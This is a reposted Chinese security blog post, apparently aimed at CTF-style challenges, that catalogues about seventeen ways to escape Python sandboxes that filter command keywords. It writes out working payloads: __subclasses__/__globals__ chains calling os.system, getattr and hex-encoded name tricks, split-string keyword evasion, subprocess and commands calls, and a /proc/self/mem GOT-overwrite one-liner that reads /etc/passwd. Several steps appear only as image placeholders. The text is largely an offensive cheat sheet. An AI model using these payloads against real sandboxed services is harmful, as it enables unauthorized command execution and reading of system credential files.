python沙箱绕过的一些知识

admin 2023年5月8日20:19:52评论80 views字数 1760阅读5分52秒阅读模式

python程序中有时候过滤了一些命令执行的关键字我们怎么去绕过呢?

最原始的方法(python3.7以下可以用魔术方法绕过)

python2.7以下:

''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls')

python3.7以下:

''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('ls')

但是3.7以上版本做了调整修补了很多内置函数。

目前3.11以下能用的方法如下:

(1)使用getattr函数

获取system函数地址,并进行函数调用

  • print(getattr(os, “system”)(“ls”))

python沙箱绕过的一些知识

当过滤了system关键字的话可以使用第三个参数调用popen,执行命令

print(getattr(a, 'x')) # 获取属性x 值

print(getattr(a, 'y', 'None'))# 获取属性 y 值不存在,但设置了默认值

python沙箱绕过的一些知识

还可以加上编码绕过

getattr(os,'676574637764'.decode('hex'))()

(2)使用eval或者exec

exec是Python的内置函数,能够执行储存在字符串或文件中的 Python 语句,和eval类似(exec(open('liyou.py').read())#直接导入外部模块,等于from xxx import *),但是eval不能换行操作,建议使用execv,当知道模块路径的时候就可以直接调用,比如os.py的路径,或者具备写入文件的操作写入字符在execv+read读取执行命令

首先写任意文件

python沙箱绕过的一些知识

文件内容不限只要读取的时候编码正确就行

python沙箱绕过的一些知识

执行exec拿到shell

(3)禁用某些关键字也可以组合的方式绕过,python3.7以下

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

(4)通过ORW方式不执行命令,只读只写文件(write,read)

(5)timeit命令执行

python沙箱绕过的一些知识

(6)platform命令执行(python3.7以下

python沙箱绕过的一些知识

(7)subprocess命令执行

python沙箱绕过的一些知识

或者用call也可以subprocess.call('ifconfig', shell = True)

(8)pty命令执行

python沙箱绕过的一些知识

(9)commands命令执行(外部模块)

import commands

commands.getoutput('ifconfig') 

commands.getstatusoutput('ifconfig')

(10)codecs文件读取,配合exec命令执行

python沙箱绕过的一些知识

(11)execfile 动态运行文件中的代码(python3.7以下)

python沙箱绕过的一些知识

(12)compile 将一个字符串编译为字节代码

python沙箱绕过的一些知识

(13)命令行下的命令执行

python沙箱绕过的一些知识

(14)f格式化命令执行(python3.6以上)

python沙箱绕过的一些知识

(15)修改 GOT 表命令执行

把 fopen 的 GOT 改为 system。先用 objdump 查找

objdump -R /usr/bin/python | grep -E "fopen|system"

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))


16)importlib命令执行(python3.x)

python沙箱绕过的一些知识

(17)file文件读取(配合exec执行命令),python2

python沙箱绕过的一些知识


原文始发于微信公众号(由由学习吧):python沙箱绕过的一些知识

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月8日20:19:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   python沙箱绕过的一些知识http://cn-sec.com/archives/1717713.html

发表评论

匿名网友 填写信息